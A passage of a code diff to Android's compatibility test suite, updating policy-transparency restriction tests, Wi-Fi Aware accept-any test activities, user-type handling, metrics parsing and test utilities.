+                    UserManager.DISALLOW_NETWORK_RESET,
+                    UserManager.DISALLOW_FACTORY_RESET,
+                    UserManager.DISALLOW_ADD_USER,
+                    UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
+                    UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
+                    UserManager.DISALLOW_MOUNT_PHYSICAL_MEDIA,
+                    UserManager.DISALLOW_SMS,
+                    UserManager.DISALLOW_FUN,
+                    UserManager.DISALLOW_SAFE_BOOT,
+                    UserManager.DISALLOW_CREATE_WINDOWS,
+                    UserManager.DISALLOW_DATA_ROAMING,
+                    UserManager.DISALLOW_AIRPLANE_MODE);
+
     private static final List<String> ALSO_VALID_FOR_MANAGED_PROFILE_POLICY_TRANSPARENCY =
             Arrays.asList(
                     UserManager.DISALLOW_APPS_CONTROL,
@@ -203,7 +237,7 @@
     }
 
     public static List<String> getUserRestrictionsForPolicyTransparency(int mode) {
-        if (mode == PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER) {
+        if (isDeviceOwnerMode(mode)) {
             ArrayList<String> result = new ArrayList<String>();
             // They are all valid except for DISALLOW_REMOVE_MANAGED_PROFILE
             for (String st : RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY) {
@@ -221,7 +255,11 @@
         throw new RuntimeException("Invalid mode " + mode);
     }
 
-    public static Intent getUserRestrictionTestIntent(Context context, String restriction) {
+    /**
+     * Creates and returns a new intent to set user restriction
+     */
+    public static Intent getUserRestrictionTestIntent(Context context, String restriction,
+                int mode) {
         final UserRestrictionItem item = USER_RESTRICTION_ITEMS.get(restriction);
         final Intent intent =
                 new Intent(PolicyTransparencyTestActivity.ACTION_SHOW_POLICY_TRANSPARENCY_TEST)
@@ -232,10 +270,9 @@
                                 context.getString(item.label))
                         .putExtra(PolicyTransparencyTestActivity.EXTRA_SETTINGS_INTENT_ACTION,
                                 item.intentAction);
-        // For DISALLOW_FACTORY_RESET, set on the device owner, not on the current user.
-        if (!UserManager.DISALLOW_FACTORY_RESET.equals(restriction)) {
-            intent.putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true);
-        }
+
+        intent.putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM,
+                !(isDeviceOwnerMode(mode) && isOnlyValidForDeviceOwnerOrPrimaryUser(restriction)));
         return intent;
     }
 
@@ -275,8 +312,8 @@
                 }
                 return isCellBroadcastAppLinkEnabled;
             case UserManager.DISALLOW_FUN:
-                // Easter egg is not available on watch
-                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+                // Easter egg is not available on watch or automotive
+                return FeatureUtil.isFunSupported(context);
             case UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS:
                 return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
             case UserManager.DISALLOW_CONFIG_WIFI:
@@ -294,10 +331,10 @@
             case UserManager.DISALLOW_CONFIG_CREDENTIALS:
                 return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
                         && hasSettingsActivity(context, ACTION_CREDENTIALS_INSTALL);
-            case UserManager.DISALLOW_CONFIG_LOCATION:
             case UserManager.DISALLOW_CONFIG_SCREEN_TIMEOUT:
-                // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
-                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+                return FeatureUtil.isScreenTimeoutSupported(context);
+            case UserManager.DISALLOW_CONFIG_LOCATION:
+                return FeatureUtil.isConfigLocationSupported(context);
             default:
                 return true;
         }
@@ -345,6 +382,18 @@
         return !TextUtils.isEmpty(resolveInfo.activityInfo.applicationInfo.packageName);
     }
 
+    /**
+     * Checks whether target mode is device owner test mode
+     */
+    private static boolean isDeviceOwnerMode(int mode) {
+        return mode == PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER;
+    }
+
+    private static boolean isOnlyValidForDeviceOwnerOrPrimaryUser(String restriction) {
+        return DEVICE_OWNER_ONLY_RESTRICTIONS.contains(restriction)
+                || PRIMARY_USER_ONLY_RESTRICTIONS.contains(restriction);
+    }
+
     private static class UserRestrictionItem {
         final int label;
         final int userAction;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 1cabb00..b1b0031 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -125,12 +125,6 @@
         tests.add(new IsEnabledTest());
         tests.add(new ServiceStartedTest());
         tests.add(new NotificationReceivedTest());
-        if (!isAutomotive) {
-            tests.add(new SendUserToChangeFilter());
-            tests.add(new AskIfFilterChanged());
-            tests.add(new NotificationTypeFilterTest());
-            tests.add(new ResetChangeFilter());
-        }
         tests.add(new LongMessageTest());
         tests.add(new DataIntactTest());
         tests.add(new AudiblyAlertedTest());
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
index 7cfcbf8..21cf6ce 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
@@ -137,6 +137,7 @@
         if (isSelfManaged) {
             connection.setConnectionProperties(Connection.PROPERTY_SELF_MANAGED);
         }
+        connection.setAudioModeIsVoip(true);
         connection.setConnectionCapabilities(Connection.CAPABILITY_SUPPORT_HOLD |
                 Connection.CAPABILITY_HOLD);
         connection.setAddress(request.getAddress(), TelecomManager.PRESENTATION_ALLOWED);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 0000000..e81528e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, active subscribe. Pair with accept any publish
+ */
+public class DataPathOpenActiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
+                /* isUnsolicited */ false, /* usePmk */ false, /* acceptAny */ false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 0000000..b25c3ef
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, passive subscribe. Pair with accept any publish
+ */
+public class DataPathOpenPassiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
+                /* isUnsolicited */ true, /* usePmk */ false, /* acceptAny */ false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 0000000..62275ec
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, passphrase, active subscribe. Pair with accept any publish
+ */
+public class DataPathPassphraseActiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ false,
+                /* acceptAny */ false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 0000000..88ea2bb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, passphrase, passive subscribe. Pair with accept any publish
+ */
+public class DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ false,
+                /* acceptAny */ false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 0000000..136b296
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, active subscribe. Pair with accept any publish
+ */
+public class DataPathPmkActiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ true,
+                /* acceptAny */ false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java
new file mode 100644
index 0000000..44cab45
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, passive subscribe. Pair with accept any publish
+ */
+public class DataPathPmkPassiveSubscribeAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ true,
+                /* acceptAny */ false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
index 0138787..b1b62bf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
@@ -169,8 +169,9 @@
                     null));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
                     R.string.aware_subscribe,
-                    DataPathOpenPassiveSubscribeTestActivity.class.getName(),
-                    new Intent(this, DataPathOpenPassiveSubscribeTestActivity.class), null));
+                    DataPathOpenPassiveSubscribeAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenPassiveSubscribeAcceptAnyTestActivity.class),
+                    null));
             adapter.add(TestListAdapter.TestListItem.newCategory(this,
                     R.string.aware_dp_ib_passphrase_unsolicited_accept_any));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -181,8 +182,9 @@
                     null));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
                     R.string.aware_subscribe,
-                    DataPathPassphrasePassiveSubscribeTestActivity.class.getName(),
-                    new Intent(this, DataPathPassphrasePassiveSubscribeTestActivity.class), null));
+                    DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.class),
+                    null));
             adapter.add(TestListAdapter.TestListItem.newCategory(this,
                     R.string.aware_dp_ib_pmk_unsolicited_accept_any));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -192,8 +194,9 @@
                     null));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
                     R.string.aware_subscribe,
-                    DataPathPmkPassiveSubscribeTestActivity.class.getName(),
-                    new Intent(this, DataPathPmkPassiveSubscribeTestActivity.class), null));
+                    DataPathPmkPassiveSubscribeAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkPassiveSubscribeAcceptAnyTestActivity.class),
+                    null));
             adapter.add(TestListAdapter.TestListItem.newCategory(this,
                     R.string.aware_dp_ib_open_solicited_accept_any));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -203,8 +206,9 @@
                     null));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
                     R.string.aware_subscribe,
-                    DataPathOpenActiveSubscribeTestActivity.class.getName(),
-                    new Intent(this, DataPathOpenActiveSubscribeTestActivity.class), null));
+                    DataPathOpenActiveSubscribeAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenActiveSubscribeAcceptAnyTestActivity.class),
+                    null));
             adapter.add(TestListAdapter.TestListItem.newCategory(this,
                     R.string.aware_dp_ib_passphrase_solicited_accept_any));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -214,8 +218,9 @@
                     null));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
                     R.string.aware_subscribe,
-                    DataPathPassphraseActiveSubscribeTestActivity.class.getName(),
-                    new Intent(this, DataPathPassphraseActiveSubscribeTestActivity.class), null));
+                    DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.class),
+                    null));
             adapter.add(TestListAdapter.TestListItem.newCategory(this,
                     R.string.aware_dp_ib_pmk_solicited_accept_any));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
@@ -225,8 +230,8 @@
                     null));
             adapter.add(TestListAdapter.TestListItem.newTest(this,
                     R.string.aware_subscribe,
-                    DataPathPmkActiveSubscribeTestActivity.class.getName(),
-                    new Intent(this, DataPathPmkActiveSubscribeTestActivity.class), null));
+                    DataPathPmkActiveSubscribeAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkActiveSubscribeAcceptAnyTestActivity.class), null));
         }
 
         adapter.registerDataSetObserver(new DataSetObserver() {
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index cf92bf7..ab66ee5 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -990,7 +990,6 @@
             UserType forUser,
             boolean hasProfileOwner,
             boolean profileOwnerIsPrimary) {
-        requireFeature("android.software.managed_users", FailureMode.SKIP);
         com.android.bedstead.nene.users.UserType resolvedUserType =
                 requireUserSupported(profileType, FailureMode.SKIP);
 
@@ -1023,8 +1022,6 @@
     }
 
     private void ensureHasNoProfile(String profileType, UserType forUser) {
-        requireFeature("android.software.managed_users", FailureMode.SKIP);
-
         UserReference forUserReference = resolveUserTypeToUser(forUser);
         com.android.bedstead.nene.users.UserType resolvedProfileType =
                 sTestApis.users().supportedType(profileType);
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
index 6373625..6cc76a2 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java
@@ -36,6 +36,7 @@
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
 @EnsureHasNoProfileAnnotation("android.os.usertype.profile.MANAGED")
+@RequireFeature("android.software.managed_users")
 public @interface EnsureHasNoWorkProfile {
     /** Which user type the work profile should not be attached to. */
     DeviceState.UserType forUser() default CURRENT_USER;
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
index 11ecfa6..671e12b 100644
--- a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
@@ -30,6 +30,7 @@
 import com.android.internal.os.nano.StatsdConfigProto.SimpleAtomMatcher;
 import com.android.internal.os.nano.StatsdConfigProto.StatsdConfig;
 import com.android.os.nano.AtomsProto;
+import com.android.os.nano.StatsLog;
 import com.android.os.nano.StatsLog.ConfigMetricsReportList;
 import com.android.queryable.Queryable;
 
@@ -184,7 +185,10 @@
         return Arrays.stream(reportList.reports)
                 .flatMap(s -> Arrays.stream(s.metrics.clone()))
                 .filter(s -> s.getEventMetrics() != null && s.getEventMetrics().data != null)
-                .flatMap(statsLogReport -> Arrays.stream(statsLogReport.getEventMetrics().data.clone()))
+                .flatMap(statsLogReport -> Arrays.stream(
+                        statsLogReport.getEventMetrics().data.clone()))
+                .flatMap(eventMetricData -> Arrays.stream(
+                        backfillAggregatedAtomsinEventMetric(eventMetricData)))
                 .sorted(Comparator.comparing(e -> e.elapsedTimestampNanos))
                 .map(e -> e.atom)
                 .filter((Objects::nonNull))
@@ -193,4 +197,20 @@
                 .map(EnterpriseMetricInfo::new)
                 .collect(Collectors.toList());
     }
+
+    private StatsLog.EventMetricData[] backfillAggregatedAtomsinEventMetric(
+            StatsLog.EventMetricData metricData) {
+        if (metricData.aggregatedAtomInfo == null) {
+            return new StatsLog.EventMetricData[]{metricData};
+        }
+        List<StatsLog.EventMetricData> data = new ArrayList<>();
+        StatsLog.AggregatedAtomInfo atomInfo = metricData.aggregatedAtomInfo;
+        for (long timestamp : atomInfo.elapsedTimestampNanos) {
+            StatsLog.EventMetricData newMetricData = new StatsLog.EventMetricData();
+            newMetricData.atom = atomInfo.atom;
+            newMetricData.elapsedTimestampNanos = timestamp;
+            data.add(newMetricData);
+        }
+        return data.toArray(new StatsLog.EventMetricData[0]);
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
index 64fe4f1..83b2c45 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
@@ -322,7 +322,7 @@
             for (String baseType : userTypeString.split("mBaseType: ", 2)[1]
                     .split("\n")[0].split("\\|")) {
                 if (!baseType.isEmpty()) {
-                    userType.mBaseType.add(UserType.BaseType.valueOf(baseType));
+                    userType.mBaseType.add(baseType);
                 }
             }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
index fde4a0b..fb8522d 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
@@ -29,13 +29,16 @@
 
     public static final int UNLIMITED = -1;
 
-    public enum BaseType {
-        SYSTEM, PROFILE, FULL
+    /** Default base types. */
+    public static final class BaseType {
+        public static final String SYSTEM = "SYSTEM";
+        public static final String PROFILE = "PROFILE";
+        public static final String FULL = "FULL";
     }
 
     static final class MutableUserType {
         String mName;
-        Set<BaseType> mBaseType;
+        Set<String> mBaseType;
         Boolean mEnabled;
         Integer mMaxAllowed;
         Integer mMaxAllowedPerParent;
@@ -51,7 +54,8 @@
         return mMutableUserType.mName;
     }
 
-    public Set<BaseType> baseType() {
+    /** Get the base type(s) of this type. */
+    public Set<String> baseType() {
         return mMutableUserType.mBaseType;
     }
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 4ed65de..32e41a1 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -71,6 +71,8 @@
 
     private static final String SHA256_CERT = "sha256_cert";
 
+    private static final String SHA256_FILE = "sha256_file";
+
     private static final String CONFIG_NOTIFICATION_ACCESS = "config_defaultListenerAccessPackages";
     private static final String HAS_DEFAULT_NOTIFICATION_ACCESS = "has_default_notification_access";
 
@@ -126,6 +128,9 @@
             String sha256_cert = PackageUtil.computePackageSignatureDigest(pkg.packageName);
             store.addResult(SHA256_CERT, sha256_cert);
 
+            String sha256_file = PackageUtil.computePackageFileDigest(pkg);
+            store.addResult(SHA256_FILE, sha256_file);
+
             store.endGroup();
         }
         store.endArray(); // "package"
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java
index ae4bec1..48d5f30 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java
@@ -17,6 +17,7 @@
 package com.android.compatibility.common.util;
 
 import android.content.Context;
+import android.hardware.display.DisplayManager;
 import android.hardware.hdmi.HdmiControlManager;
 import android.view.Display;
 
@@ -77,4 +78,21 @@
 
         return false;
     }
+
+    public static int getRefreshRateSwitchingType(DisplayManager displayManager) {
+        return toSwitchingType(displayManager.getMatchContentFrameRateUserPreference());
+    }
+
+    private static int toSwitchingType(int matchContentFrameRateUserPreference) {
+        switch (matchContentFrameRateUserPreference) {
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER:
+                return DisplayManager.SWITCHING_TYPE_NONE;
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY:
+                return DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS;
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS:
+                return DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS;
+            default:
+                return -1;
+        }
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
new file mode 100644
index 0000000..b0ec2e9
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Before;
+
+import java.util.List;
+
+/**
+ * Device-side base class for tests to run extra Business Logics in addition to the test-specific
+ * Business Logics.
+ *
+ * Used when running a common set of business logics against several tests.
+ *
+ * Usage:
+ * 1. Implement the common logic in an interface with default methods.
+ * 2. Extend this class and implement the interface.
+ *
+ * Now Business Logics rules and actions can be called from the GCL by using the interface fully
+ * qualified name.
+ */
+public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase implements MultiLogDevice {
+
+    private static final String LOG_TAG = BusinessLogicTestCase.class.getSimpleName();
+
+    protected boolean mDependentOnBusinessLogic = true;
+
+    public abstract List<String> getExtraBusinessLogics();
+
+    @Before
+    @Override
+    public void handleBusinessLogic() {
+        loadBusinessLogic();
+        if (mDependentOnBusinessLogic) {
+            assertTrue(String.format(
+                    "Test \"%s\" is unable to execute as it depends on the missing remote "
+                    + "configuration.", mTestCase.getMethodName()), mCanReadBusinessLogic);
+        } else if (!mCanReadBusinessLogic) {
+            logInfo(LOG_TAG, "Skipping Business Logic for %s", mTestCase.getMethodName());
+            return;
+        }
+
+        BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(
+                getContext(), this, mBusinessLogic.getRedactionRegexes());
+        for (String extraBusinessLogic : getExtraBusinessLogics()) {
+            if (!mBusinessLogic.hasLogicFor(extraBusinessLogic)) {
+                throw new RuntimeException(String.format(
+                        "can't find extra business logic for %s.", extraBusinessLogic));
+            }
+            mBusinessLogic.applyLogicFor(extraBusinessLogic, executor);
+        }
+        executeBusinessLogic();
+    }
+}
